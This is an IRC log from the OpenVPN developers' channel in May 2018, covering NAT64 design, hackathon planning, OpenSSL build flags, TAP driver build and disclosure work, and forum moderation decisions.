then they complain about private tunnel 200mb cap 11:00 < tincantech> for a guy with a "wolverine" for an avatar .. you are too soft ;) 11:08 <@ecrist> honeybadger don;t care 11:08 <@ecrist> https://www.youtube.com/watch?v=4r7wHMg5Yjg 11:10 < tincantech> LOL XD 11:11 < tincantech> House of Bees .. you think the Honeybadger cares ? Honeybadger don't give a shit! 11:12 < tincantech> thanks for clarifying your avatar ! 11:12 <@ecrist> ;) 11:14 < tincantech> fuk that is one tiugh little fucker ! the Cobra sleep off ! 11:14 < tincantech> tough* 11:15 < tincantech> "Balls Out!" 17:13 < tincantech> https://forums.openvpn.net/viewtopic.php?f=1&t=26238 17:13 <@vpnHelper> Title: Share Files on Windows 10 OpenVPN - OpenVPN Support Forum (at forums.openvpn.net) 19:48 < tincantech> @ecrist | https://www.youtube.com/watch?v=4r7wHMg5Yjg 19:50 < tincantech> tincantech | https://forums.openvpn.net/viewtopic.php?f=1&t=26238 19:50 <@vpnHelper> Title: Share Files on Windows 10 OpenVPN - OpenVPN Support Forum (at forums.openvpn.net) 19:59 < tincantech> kitsune1: 20:22 < kitsune1> hi! --- Day changed Sun May 13 2018 00:17 <@ordex> cron2: from your experience, do you think using NAT64 (+DNS64) is a good solution in the attempt of converting local networks to IPv6 only? or there are major drawbacks in this approach? (I imagine NAT64 requires more CPU than standard NAT and may affect performance) 03:10 <@cron2> "it depends" 03:10 <@cron2> if the network is small (1 subnet, DHCP, NAT44) going IPv6-only might not be worth the effort 03:11 <@cron2> OTOH, if the network is huge (T-Mobile USA, x Million subscribers) not having to worry about dual addressing, and thus, dual debugging, is a major gain... 03:11 <@cron2> I'd expect NAT64 to perform similar to NAT44 - it does the same thing, "lookup packet in state table, replace header" 03:12 <@cron2> the good thing about IPv6-only + NAT64 is that you do not need NAT resources for stuff like google, youtube, etc. which all come native v6 without NAT... in a v4-only network, you need NAT for everything 04:13 <@ordex> cron2: I thought about NAT64 about requiring more CPU because the header is different (ipv4 vs ipv6). while in NAT44 is just a substitution of the IP/port values 04:13 <@ordex> but might be marginal 04:46 <@cron2> ordex: I think that is marginal... the expensive bits is stuff like FTP that have to scan the data stream 04:46 <@cron2> and session setup (first packet) might be a bit more work in NAT64 04:53 <@ordex> yeah, makes sense --- Day changed Mon May 14 2018 01:47 <@cron2> wrt meeting this wednesday: I can't make it either - RIPE-Meeting again, and Wednesday 9-12:30 is a session that I am chairing, so I need to at least pretend that I'm interested in the discussion and can't stare at my laptop 02:27 <@ordex> most of those working with corp are busy on an external meeting too this wednesday 03:29 <@cron2> good :) 04:10 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 07:12 <@ecrist> dan-: ping 07:12 <@ecrist> grr 07:12 <@ecrist> dazo: ping 07:17 -!- Irssi: #openvpn-devel: Total of 33 nicks [8 ops, 0 halfops, 2 voices, 23 normal] 07:17 <@ecrist> or mattock I'm still waiting for a reply 07:30 <@mattock> hi ecrist 07:32 <@mattock> responded privately --- Day changed Tue May 15 2018 01:13 <@cron2> mornin 03:22 <@vpnHelper> RSS Update - tickets: #1065: OpenVPN 2.4.6 Not NAT on Windows Server 2012 R2 <https://community.openvpn.net/openvpn/ticket/1065> 03:55 <@ordex> mornin 07:07 <@ecrist> howdy 07:41 < tincantech> sup ;) .. you bored at work again ? 07:44 <@ordex> burp 07:44 <@ordex> :O 07:45 <@cron2> *yawn* 07:45 * cron2 needs coffee 08:24 < tincantech> http://www.besplatne-stvari.com/igre/Zabava/pingpong_matrix/ 08:24 <@vpnHelper> Title: Matrix Ping Pong (at www.besplatne-stvari.com) 08:48 <@ecrist> Not bored at work. Finally able to get things done. 10:49 <@ordex> ecrist: now you can move on. 10:49 <@ordex> :D 15:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:13 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed May 16 2018 01:57 <@mattock> no meeting today if I understood correctly 02:47 <@cron2> I am in Marseille and in a different meeting, so, no meeting for me :) 04:11 <@mattock> dazo and ordex are in Lviv I believe 04:11 <@mattock> so that's it then :P 07:55 <@cron2> so... lviv... any news on the hackathon? 08:10 <@ordex> mah, mostly internal corp discussions - nothing really interesting on the development side, yet 08:18 <@cron2> no, the outstanding question is more "do we do the hackathon in lviv this year, and if yes, when?" 08:21 <@ordex> cron2: aaaaah sorry! 08:22 <@ordex> thanks for reminding actually! 08:29 <@ordex> cron2: apparently dazo already got the ball rolling and it seems to be something generally viable. but dazo will have more details to share I guess 08:30 <@cron2> cool 18:11 <@ordex> bingoooo 20:35 < tincantech> what has he done this time ? ;) --- Day changed Thu May 17 2018 01:55 <@dazo> cron2, syzzer, mattock : Regarding Hackathon .... the Lviv team is excited about having the hackathon here next year. There's few direct flights here, though, but not too bad. What about aiming for mid-October; how does that sound? Not too cold here, not too warm. 01:57 <@dazo> They have at least one meeting room which got room for about 10-12 people at least ... unfortunately barely bare minimum Internet access (in cron2's lingo: no native IPv6) :-P 02:58 <@mattock> dazo: sounds good 07:13 <@cron2> dazo: there are direct flights from Munich 1x/day, so I'm all good :-) - mid October sounds good, but we need to doodle that because everyone will be busy at different times 07:13 <@cron2> IPv6 can be arranged... :) - I'll bring a router with OpenVPN and a v6 tunnel... 07:13 <@cron2> short form: cool! I'm in! :-) 08:04 <@ordex> ;) 08:21 < tincantech> ordex: why "bingoooo" ? 08:27 <@ordex> tincantech: because it compiled 08:27 <@ordex> :P 09:32 <@syzzer> yeah, sounds good. No direct flights from Amsterdam, but still around 4h including transfer. So should be okay. 09:33 <@syzzer> I'll have to arrive a bit later on Fri and leave a bit earlier on Sun than usual though. Or maybe I can add a day of touristing. 11:33 <@cron2> touristing is good :) 12:25 <@vpnHelper> RSS Update - tickets: #1066: OpenVPN Connect will not connect via UDP <https://community.openvpn.net/openvpn/ticket/1066> --- Day changed Fri May 18 2018 04:04 -!- lev__ [~lev@openvpn/corp/lev] has quit [Quit: leaving] 04:04 -!- lev__ [~lev__@openvpn/corp/lev] has joined #openvpn-devel 04:04 -!- mode/#openvpn-devel [+v lev__] by ChanServ 04:42 <+lev__> exit 04:45 <@cron2> lev__: bye :) 08:12 <@ordex> syzzer: does openssl support McEliece at the moment? 18:34 < jkunkee> mattock: The Win7->Win10 PR is kinda noisy. Should I rebase/force push on my end to simplify the history before it gets merged? --- Day changed Sat May 19 2018 01:21 <@mattock> jkunkee: yes, squashing commits probably make sense 01:22 <@mattock> I got distracted by other stuff so my tapbuilder VM setup is on hold - but will be able to resume it the upcoming week 03:11 <@cron2> dang... October 15-19 is RIPE meeting in Amsterdam, which nicely interferes with the weekend before and after that 04:14 <@plaisthos> cron2: btw. Lviv is Lemberg in German 05:10 <@cron2> interesting 05:29 <@plaisthos> cron2: it was part of the Austrian Hungary Empire. I think that is where the name cames from 10:39 <@dazo> cron2: Regarding doodle question .... IIRC, ordex was not available the first weekend of October 10:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 10:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:52 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:09 <@ordex> the 5th might be fine 11:09 <@ordex> dazo: ^ 11:10 <@dazo> okay, I'll update the doodle and add that one as well 11:11 <@dazo> done :) 11:41 <@cron2> cheked! 11:42 <@dazo> :) 13:42 < tincantech> if anybody here is interested in NixOS: https://github.com/NixOS/nixpkgs 13:42 <@vpnHelper> Title: GitHub - NixOS/nixpkgs: Nix Packages collection (at github.com) 13:43 < tincantech> related to : https://forums.openvpn.net/viewtopic.php?f=6&t=26408#p78948 13:43 <@vpnHelper> Title: Starting client via systemctl: no passphrase prompt shown - OpenVPN Support Forum (at forums.openvpn.net) 14:14 <@syzzer> ordex: no, openssl does not have a mceliece implementation 14:15 <@syzzer> I'll be using the mcbits implementation that was submitted to the nist competition in OpenVPN-NL 14:21 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 14:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:22 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:43 <@ordex> syzzer: oh ok --- Day changed Sun May 20 2018 10:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] --- Day changed Mon May 21 2018 02:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:36 <@plaisthos> from the "Option I never seen before": hash-size 06:37 <@plaisthos> even after reading the man page doc of the option I don't know how to use it --- Day changed Tue May 22 2018 05:41 <@cron2> meeting tomorrow? 06:32 <@ordex> think so (?) 09:35 <@mattock> topics? 10:34 <@cron2> "TAP driver sync" 10:37 <@mattock> the latest issue, right? 10:37 <@mattock> it's been a while 10:38 <@mattock> regarding tap-windows6 10:38 <@mattock> we're going to get some internal testing gear (mini-pc's) with Windows 10 10:38 <@mattock> so that we can check those boxes when submitting the driver to Microsoft 10:41 <@cron2> the latest issue, the current signing status, the 6.20/6.30 NDIS patches, ARM work, ... 10:41 <@cron2> there is quite a lot going on in tap driver land :) 10:42 <@cron2> which reminds me 10:42 <@mattock> yes 10:43 <@mattock> I got distracted by major infrastructure work which is now at least tangentially related to setting up a new tap-windows6 build system based on jkunkee's patches 10:43 <@cron2> I need to read up on the "other three" affected VPNs and try to reach out to Cisco 10:43 <@mattock> right now it looks like I could move to setting it up on Thu/Fri 10:43 <@cron2> (I have working contacts there, though not to their VPN team) 10:44 <@mattock> yeah then it makes sense 10:44 <@mattock> if that was not the case the reporter should definitely contact them directly 10:45 <@mattock> I will prepare an agenda now 10:54 <@mattock> here's something: https://community.openvpn.net/openvpn/wiki/Topics-2018-05-23 10:54 <@vpnHelper> Title: Topics-2018-05-23 – OpenVPN Community (at community.openvpn.net) 13:39 * cron2 likes Cisco PSIRT 13:40 <@cron2> like in "react quickly, use PGP, listen to what you say" :-) --- Day changed Wed May 23 2018 03:42 <@dazo> cron2: you're right that IPv6 in the Linux kernel is old stuff ... but unless my memory is totally corrupted, there were some additional hoops needed in pre-2.6 kernels to actually make it work with the tun driver 03:51 <@dazo> but I might also confuse and mix things ... like commit ce637abdafd, 032f0045246 and bff413d5c4764 .... 04:25 <@cron2> ipv6 in a tun might indeed not work 04:25 <@cron2> ipv6 transport *should* work back to 2.0 or even earlier :-) 04:34 <@dazo> yeah 06:06 <@ecrist> tincantech: ping 08:36 < tincantech> ecrist: hi 08:57 < tincantech> does J bullard ever hang out here ? 08:59 <@vpnHelper> RSS Update - tickets: #1067: incorrect work of vpn on iOS <https://community.openvpn.net/openvpn/ticket/1067> 09:00 < tincantech> it appears tunnelblick client can use ec-curve (other than secp364r1) pushed from 2.4.6-aarch64-unknown-linux-gnu but openvpn master running on linux cannot 09:01 <@cron2> openvpn plays not a big role in this, the SSL library used is more relevant 09:03 < tincantech> cron2: sure, i understand that but .. --show-tls on server and client are identical 09:06 < tincantech> there is a post on the forum which shows (in this --ec-curve brainpoolP384r1 config) that the server shares a tls-cipher named "Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-ECDSA-AES256-GCM-SHA384, 384 bit EC, curve: brainpoolP384r1" 09:06 < tincantech> but the client is tunnelblick 09:07 < tincantech> with the exact same setup for linux client we get "The server has no TLS ciphersuites in common with the client." 09:08 < tincantech> hmm .. that TB client is using ossl 1.0.2o .. my client is 1.1.0g 09:08 <@ecrist> tincantech: ban yesterday for a use, Noname200 09:09 <@ecrist> He is requesting an unban. 09:09 < tincantech> ecrist: yes .. do you want an explaination ? 09:09 <@ecrist> please 09:11 < tincantech> basically he plasters multiple posts all over the forum moaning about privatetunnel .. and when i say all over i mean ALL over 09:11 < tincantech> i got fed up of moving all his posts to the right places (mosst of which are off topic now) and he did not listen novaflash who told him to ask privatetunnel 09:12 < tincantech> i decided an extended ban would maybe make him read the docs instead of just spamming the forum with crap 09:12 < tincantech> i took a leaf out of your book and made it a temporary ban 09:14 <@ecrist> so, +1 for the temporary ban. I think 5 months is a bit long 09:15 < tincantech> look here: https://forums.openvpn.net/viewtopic.php?f=6&t=26427 09:15 <@vpnHelper> Title: Private VPN Log with open vpn Windows - OpenVPN Support Forum (at forums.openvpn.net) 09:15 < tincantech> it was privatevpn not privatetunnel .. but they banned his ip outright 09:16 < tincantech> so who ever he is he is trouble .. 09:16 <@ecrist> Yes, I picked up on that from his emails. 09:17 <@ecrist> Would you consider shortening the ban to two weeks? 09:17 < tincantech> i don't mind at all 09:17 <@ecrist> That at least allows us to look more reasonable. 09:17 < tincantech> but if he comes back and does the same again i will ban him again 09:18 <@ecrist> OK. I'll send him an email and CC you, and inform him that after review, you've agreed to shorten the ban to June 5, 2018. 09:18 < tincantech> ok 09:18 <@ecrist> And that is perfectly OK. I suggest using the warning system. 09:18 <@ecrist> Then the warnings with automatically age out. 09:18 < tincantech> ok 09:18 <@ecrist> And after 3, there is an automatic temporary ban. 09:18 < tincantech> not a permanent warning ? 09:18 <@ecrist> I think they age out. 09:18 < tincantech> i still have one ;) 09:19 <@ecrist> tincatech does, right? 09:19 <@ecrist> your other account has none. 09:19 < tincantech> i'll change the ban and keep an eye open for his return .. then maybe i'll let you know before taking action ;) 09:21 <@ecrist> Your warning was issued in Sept 2017 and warnings expire after 1 year. 09:21 <@vpnHelper> RSS Update - tickets: #1068: Route: Waiting for TUN/TAP interface to come up... <https://community.openvpn.net/openvpn/ticket/1068> 09:21 <@ecrist> Maybe we can shorten that up to 120 days? 09:21 <@ecrist> and make more judiscious use of them? 09:24 < tincantech> ok ;) 09:24 < tincantech> i have set a nerw ban on noname2000 for 2 weeks, until 6 june 09:25 < tincantech> oh .. the reason i set the first ban for so long was to coincide with halloween .. sort of a joke 10:03 <@ordex> cron2: do you know which header should be included to have in_addr_t on windows? 10:07 < tincantech> how do i build with an alternate openssl version ? i can see various options in configure for various things but not how to specify an alt location for openssl 10:15 <@cron2> ordex: not sure. It's either <winsock2.h> (see syshead.h / #ifdef _WIN32) or something more annoying (<wininet.h>, <ws2tcpip.h>, ...) 10:15 <@cron2> maybe just "syshead.h" for simplicity :) 10:16 <@cron2> for a more definite answer, I'd have to go out and grep in the mingw headers on the ubuntu buildbox... 10:17 <@ordex> no need thanks 10:17 <@ordex> probably including syshead.h would be enough, thanks! 10:18 <@ordex> if it doesn't work, I'll ping again :) 10:18 <@ordex> tincantech: normally I just alter OPENSSL_CFLAGS and OPENSSL_LDFLAGS and have the -I and -L statements point to the prper locations 10:18 <@ordex> *proper 10:19 <@ordex> cron2: now in networking.h I include both: 10:19 <@ordex> 50 #include <stdbool.h> 10:19 <@ordex> 51 #include <netinet/in.h> 10:19 <@ordex> but maybe I should just include 50 #include <stdbool.h> 10:19 <@ordex> 51 #include <netinet/in.h> 10:19 <@ordex> opssss 10:19 <@ordex> I should just include syshead.h 10:19 < tincantech> ordex: thanks .. i'll keep trying .. might send a mail to the users list 10:19 <@ordex> k 10:20 <@ordex> yeah, it seems all the needed includes are there - so I will do 10:34 <@cron2> does one of you have the URL on the web site handy where the signing key for openvpn-2.4.6.tar.xz can be found? 10:34 <@cron2> mattock? 10:37 <@cron2> found it 10:37 <@dazo> tincantech: ./configure OPENSSL_CFLAGS=-I/path/to/alternative/openssl/include OPENSSL_LIBS="-L/path/to/alternative/openssl/lib/dir -lcrypto -lssl" .... haven't tried that in ages, so I might be off on some details 10:40 <@dazo> tincantech: the advantage of putting these variables *after* ./configure is that they are preserved if autotools figures it needs to refresh the last ./configure run .... if put in front of ./configure, these variables may very well get lost (it depends if they are still available in your current shell) 10:41 <@dazo> same goes for CFLAGS, LDFLAGS and all the others 10:49 <@mattock> cron2: it's linked to from the download page 10:49 <@mattock> as you probably found out 10:52 <@cron2> I went to "community", put "pgp" in the search box, and the first link was the "this is is what we do, and <link>here is the gpg key" 11:40 <@ordex> cron2: back in the days "[Openvpn-devel] [PATCH v4] ifconfig-ipv6(-push): allow using hostnames" was acked and tested by Selva. Any chance it can be merged too? :] 11:56 <@mattock> ah yes 12:08 < tincantech> dazo: thanks for your answer, unfortunately this did now work: ~/openvpn/master_ossl102o$ ./configure OPENSSL_CFLAGS=-I/usr/local/ssl/include OPENSSL_LIBS="-L/usr/local/ssl/lib -lcrypto -lssl" 12:09 < tincantech> the output ends with: 12:09 < tincantech> checking for SSL_CTX_new... no 12:09 < tincantech> and then configure: error: openssl check failed 12:10 < tincantech> double checking now 12:13 < tincantech> ah .. i think i have something 12:16 < tincantech> bollcks .. did not work 13:09 <@cron2> https://blog.talosintelligence.com/2018/05/VPNFilter.html 13:09 <@vpnHelper> Title: Cisco's Talos Intelligence Group Blog: New VPNFilter malware targets at least 500K networking devices worldwide (at blog.talosintelligence.com) 13:11 <@cron2> oh the fun 14:13 < tincantech> building openvpn with ossl 102o done -- thanks to the build system 14:20 < tincantech> cron2: that problem with --ec-curve brainpool .. it is definitely the ssl lib .. 102o works properly 14:21 < tincantech> strange that ossl11x does not ? 14:21 <@cron2> I won't claim to understand EC or OpenSSL version decisions 14:21 < tincantech> even so the server is 110h -> client 102o 14:22 < tincantech> so the server at 11x can send but the client cannot recieve other than 102x 14:22 < tincantech> on linux not tunnelblick as before 14:29 < tincantech> i imagine some one (syzzer,ordex) will lookinto it some time ;) 14:34 < tincantech> ecrist: can i issue a warning for this post, it is so blatantly O.T: https://forums.openvpn.net/viewtopic.php?f=30&t=26331#p79047 14:34 <@vpnHelper> Title: Is every relevant search term blacklisted as "too common" - OpenVPN Support Forum (at forums.openvpn.net) 14:41 <@dazo> tincantech: warning is too early, its that user's first post ... rather move it to a new topic and add a comment to the new thread telling where to click to post a new thread 14:42 < tincantech> dazo: lol .. i was just jkn with ecrist .. i'll do the usual soon enough ;) 14:43 < tincantech> but it is *blatantly* off topic 14:43 <@dazo> yeah, it is off topic ... but I'd bet on the new/fresh user didn't find the "new thread" button 14:44 <@dazo> :) 14:44 < tincantech> i have much less faith in human behaviour than you /:] .. my bullshit deflectors are set atoo high maybe :D 14:46 < tincantech> probably "self inflicted" "too high" as well 14:46 <@ordex> cron2: gift for you on the ml :D 14:48 < tincantech> ordex: nice ;) 15:07 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:07 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 15:07 <@cron2_> ordex: not exactly... you take away all the coding fun and I get to do reviews and mundane chores only... 15:07 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 15:08 <@ordex> :P 15:08 <@ordex> that's another way of looking at it :P 15:08 <@ordex> I am just looking closer at all the ipv6 deficiencies 15:08 <@ordex> and this came across in the trac 15:08 <@ordex> and has been there for .. a bit 15:09 * dazo hands ordex a cookie :-P 15:09 <@ordex> :D 15:24 <@cron2_> it's good that we're moving forward, I'm just a bit sad that I can't find time to do actual coding anymore 15:37 <@ordex> I can imagine that. if it's something within the openvpn project that prevents you from having fun, let's try to rearrange the workflow or think about what we can do better so that you can have more time for coding. if it's outside of the project, not sure if/how we can really be helpful there :/ 15:41 < tincantech> plaisthos: https://stackoverflow.com/questions/38985889/build-openvpn-with-specific-openssl-version/ 15:41 <@vpnHelper> Title: c - Build OpenVPN with specific OpenSSL version - Stack Overflow (at stackoverflow.com) 16:39 < tincantech> dazo: is this too harsh ? : https://forums.openvpn.net/viewtopic.php?f=30&t=26331#p79050 16:39 <@vpnHelper> Title: Is every relevant search term blacklisted as "too common" - OpenVPN Support Forum (at forums.openvpn.net) 16:40 < tincantech> ecrist: ^ 16:43 <@dazo> Yes, that's a bit harsh 16:43 < tincantech> you big softie ! 16:43 < tincantech> ok .. so what would you recommend ? 16:43 < tincantech> edit it as you see fit 16:43 < tincantech> or tell me 16:44 <@dazo> "Please do not hijack threads with off-topic questions. Please start a new thread _here_" ... where _here_ is a proper place where to do that 16:44 * dazo need to run for the train 16:44 < tincantech> ok ;) 18:18 < tincantech> if there is a "partially open" security mailing list then i am applying now 18:20 < tincantech> BSOD TAP .. seems like ppl should be allowed to know this 18:20 < tincantech> snowden etc .. 18:24 < tincantech> when does "security through obscurity" matter ? 18:24 < tincantech> when we say it does .. 18:24 < tincantech> i am not so sure 18:27 < tincantech> there goes the fucking apple cart .. again ! ;) 18:53 < tincantech> #http://www.mp3car.com/the-faq-emporium/53368-faq-what-is-spoon-feeding.html 18:53 < tincantech> http://www.mp3car.com/the-faq-emporium/53368-faq-what-is-spoon-feeding.html 18:53 < tincantech> sorry .. just testing something 18:57 < tincantech> ecrist: my warn has expired 18:57 < tincantech> warning* 21:20 < jkunkee> mattock: I saw in the meeting notes that tap-windows6 came up and there's a fair amount happening. 21:21 < jkunkee> once you get back to the build system change PRs, I'm happy to report that everything now seems to be working well on Windows 7 and Windows 10. 21:22 < jkunkee> I made some design decisions I'd be happy to reconsider, like staying at /W4 but turning off /Werr --- Day changed Thu May 24 2018 01:02 <@mattock> jkunkee: selva is probably the person to comment on the design decisions 01:02 <@mattock> I'll ping ihm 01:02 <@mattock> m 01:02 <@mattock> := 01:02 <@mattock> him 01:02 <@mattock> so many typos in a row 01:13 <@mattock> actually I pointed selva at your PRs already - he said he'd have a look but it will take some time 01:28 <@cron2_> do we have that vendor security page already? 01:32 <@cron2_> (why are people that I've never heard about sign the security@openvpn.net key and upload it to the key servers...?) 05:14 <@plaisthos> cron2_: I found the key on the web, I trust it! 05:59 <@cron2_> plaisthos: "the web site has SSL so it must be secure" 07:49 <@ecrist> tincantech: I know. :) 07:54 < tincantech> thanks ;) 08:00 <@cron2_> win10 seems to be really pissed when you make it BSOD... 08:01 <@cron2_> my VM reboots and seems to write an extended memory dump or something... takes ages, black screen, only disk activity 08:03 <@ordex> cron2_: maybe trying to dump stuff for a report...I remmeber XP or Vista doing it during boot, but while showing some kind of splashscreen 08:03 <@cron2_> something like this, yes, but "all black" 08:03 <@ordex> very informative as usual :P 08:14 < tincantech> ah windows .. taking "user friendly" to new heights of excellence .. 08:16 <@ecrist> I've fixed the forum search, as well 08:16 <@ecrist> I'll comment on that post. 08:19 < tincantech> ecrist: are you going to unlock that thread for comments or what ? 08:20 <@ecrist> tincantech: I already did, and deleted the off-topic comments 08:21 <@ecrist> locking that thread wasn't necessary, redirecting the user to the right forum for the hijack was. 08:27 < tincantech> maybe i am getting tired of the idiots who post like that .. to me it looked like a deliberate windup! 08:27 < tincantech> oh well .. 09:47 <@ecrist> tincantech: you'll be happier if you learn to assume everyone is stupid instead of maliscious 09:47 <@ecrist> I spelled that wrong. 09:48 <@cron2_> but "everyone is stupid" is also very depressing 09:48 <@ecrist> malicioius* 09:48 <@ecrist> cron2_: I've been assuming everyone is stupid for years and I couldn't be happier! 09:48 < tincantech> hehe .. ok Doctor C 09:48 <@ecrist> malicious* 09:52 <@cron2_> ecrist: should I be offended now? I'm most definitely part of "everyone" :-) 09:53 <@cron2_> (today I indeed feel a bit stupid... have a light cold, sore throat, and have to compile crap to run on windows) 10:04 < tincantech> "have to compile crap to run on crap" .. drowning in a sea of crap and feeling wretched! I can't help but think of Marvin the andriod ;) 10:19 <@cron2_> ecrist: at least for some people, I share your sentiment 10:22 <@cron2_> "security" guys sending mails, signed with an *expired* GPG key... 13:22 <@cron2_> I do so hate talking to customer support... 13:23 <@cron2_> "I am definitely interested in the security issue that you have found. I am unable to provide you with a security contact e-mail address and PGP key as requested. Please provide me with your security report by replying to this email, your responses will come directly to myself. I will then work with our Product and Development Teams for investigation of the security issue." 14:12 <@ecrist> cron2_: stupid is a harsher term. I just assume people don't know any better, are ignorant, or yes, just plain dumb. This way, I don't as quickly get offended by their actions. Many folks prove themselves better than that, but until then, they get defaulted to being stupid. :) 14:13 <@ecrist> I am still chuckling about Mr Cerrudo (CTO, IOActive Labs) signing his messages with an expired PGP key. 14:14 <@cron2_> I'm torn between chuckling and rolling my eyes in annoyance 14:14 <@ecrist> see above, he's stupid. ;) 14:14 * ecrist honeybadger.jpg 14:15 <@cron2_> yeah 14:30 -!- mode/#openvpn-devel [-oo ecrist vpnHelper] by ChanServ 14:34 -!- awestin1 is now known as Guest24680 14:34 -!- dazo is now known as Guest28560 14:34 -!- EvilJStoker is now known as Guest41100 14:34 -!- Joost is now known as Guest74963 14:34 <@ordex> warrr 14:34 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 14:35 <@ecrist> nice try, chanserv 14:37 <@cron2_> dazo: yes :) 16:24 < tincantech> <-- who's stupid now ? --ec-curve .. --ecduh-curve ball ! 16:25 < tincantech> thankyou david ;) 16:26 < tincantech> even so .. the rest is accurate --- Day changed Fri May 25 2018 01:20 <@cron2_> mattock: so how's your build rig for tap drivers? 07:04 -!- Guest28560 is now known as dazo 07:45 < tincantech> dazo: welcome back ;) 07:49 <@dazo> :) 07:50 < tincantech> sorry about that --ec-curve .. i did mean --ecdh-curve .. but the rest of the mail is accurate .. i am creating a full paste with configs etc 07:51 <@dazo> ahh, good to beware of that 07:54 < tincantech> i was just wanted to know if the problem is expected or not ? 07:55 < tincantech> as in were you guys aware that it does not work ? 08:13 <@dazo> I'm running a test server with EC certs ... but don't know anything else ... but was important to me to correct the comment that --ecdh-curve was not documented ... as it seems to be to have docs 08:15 <@dazo> something else .... I'm getting quite happy about the openvpn3-linux client's Python implementation .... here's the test program: http://termbin.com/gpnn .... and here's running it with --help: http://termbin.com/k198 ... and yes, it works with --config too :) 08:15 <@dazo> lets see how long it takes for people to understand that source file :-P 08:31 -!- dazo [~dazo@openvpn/corp/developer/dazo] has left #openvpn-devel ["Leaving"] 08:31 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 08:31 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:32 <@dazo> mehh ...darn ctrl-w 08:59 <@cron2_> dazo: do you have all the info you need for the CVE? 09:06 <@cron2_> argl... patch gets upset if a mail comes in that needs a mangled From: 09:06 <@cron2_> https://patchwork.openvpn.net/patch/330/ 09:06 < vpnHelper> Title: [Openvpn-devel,PATCH:,tap-windows6] Fix missing PRODUCT_PUBLISHER field in installer - Patchwork (at patchwork.openvpn.net) 09:06 <@cron2_> "this was not sent by Scott Shambarger" (whoever that is) 09:08 <@dazo> cron2_: to be honest, I don't have the full overview of that wintap CVE ... I'll try to re-read it and summarize it 09:08 <@dazo> cron2_: has a release date been set? 09:08 <@cron2_> dazo: if you read the *last* mail only it has everything (because I summarized to Jon) 09:09 <@cron2_> I suggested +4 weeks and arbitrarily made that June 20, waiting for mattock to come screaming at me 09:09 <@dazo> ahh, thx! 09:09 <@dazo> okay ... then it's not "yesterday-urgent" :) 09:10 <@cron2_> dazo: no, but we've been sitting on this for four weeks already so I'm pushing a bit today :) 09:10 <@dazo> yeah, understood :) 09:10 <@cron2_> syzzer: can you have a look at https://patchwork.openvpn.net/patch/329/ - this looks nice and useful, but "crypto bits"... 09:10 < vpnHelper> Title: [Openvpn-devel] Pass the hash without the DigestInfo header to NCryptSignHash() - Patchwork (at patchwork.openvpn.net) 12:40 -!- Guest74963 is now known as Joost --- Day changed Sat May 26 2018 10:51 <@cron2_> mattock: how's your tap-build-VM coming along? I really really need to start building this thing myself to figure out why it is bombing --- Day changed Sun May 27 2018 01:33 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 01:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:35 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:47 <@mattock> cron2: I will start working on it on Monday 01:47 <@mattock> just finished with base windows configurations 01:47 <@mattock> I think the tap-windows6 building part will be relative straightforward - mostly installing some packages 01:48 <@mattock> most/all of which should be available as chocolatey packages 01:50 <@mattock> wrapping it into a vagrant box is the last step 01:50 <@mattock> assuming pre-existing windows server 2016 / windows 10 boxes work ok, then that part should be fairly easy as well 01:52 <@mattock> "late next week" should be realistic 02:45 <@cron2_> promising :) 02:45 <@cron2_> I found a nice intro to windows kernel debugging, and will give it a whirl next week to figure out what's happening and what's missing... 02:48 <@cron2_> otherwise the turn-around times for "I need to test if this change is effective" are really a bit too long :) 11:32 < tincantech> anybody around ? 21:05 < grobot1> hi how do a set up a vpn on raspberry pi 3 22:21 < grobot1> hi how do a set up a vpn on raspberry pi 3 22:49 -!- grobot1 is now known as NewNick 22:50 -!- NewNick is now known as garrett10 --- Day changed Mon May 28 2018 03:14 <@cron2_> mornin 05:54 <@plaisthos> morning 06:04 <@mattock> afternoon 06:47 <@mattock> it seems that EWDK is gigabytes in size 06:48 <@mattock> it will take quite a bit to get it installed (in Vagrant) 07:03 <@cron2_> so this is definitely not a "throwaway VM" then :-) - but at least being able to set up a build VM with easy-to-follow instructions would be a great plus :) 07:16 <@mattock> yeah, I'm almost done with the manual download 07:16 <@mattock> assuming the image is normal burnable DVD image size 07:18 <+lev__> @cron2_ I work on improving "recursive routing" error message, do you happen to know if there is any other way to reproduce it in Linux except removing route to VPN server via default gateway? 07:19 <+lev__> cron2_: I am thinking of printing saddr:sport -> daddr:dport, this probably helps debugging it? 07:19 <+lev__> at the moment we just print gateway ip:port 07:20 <+lev__> https://community.openvpn.net/openvpn/ticket/843 07:20 <@vpnHelper> Title: #843 (Incorrect warning message when dropping packets because of "Recursive routing detected") – OpenVPN Community (at community.openvpn.net) 07:27 <@cron2_> lev__: well, "remove the vpn server route" *is* the way to make it happen... :) 07:28 <@cron2_> (if you use IPv4, you can just set up an arbitrary VPN and set up a --route pointing the VPN server IP into the tunnel, which makes it easy to set up without manually removing routes - and *no* "--redirect-gateway" stuff :) ) 07:29 <@cron2_> for IPv6, not sure if that works, as the "we need to work on the vpn server route!" bit is not triggered by --redirect-gateway but by "we have overlapping routes here" - so an extra route-ipv6 will trigger the extra route... 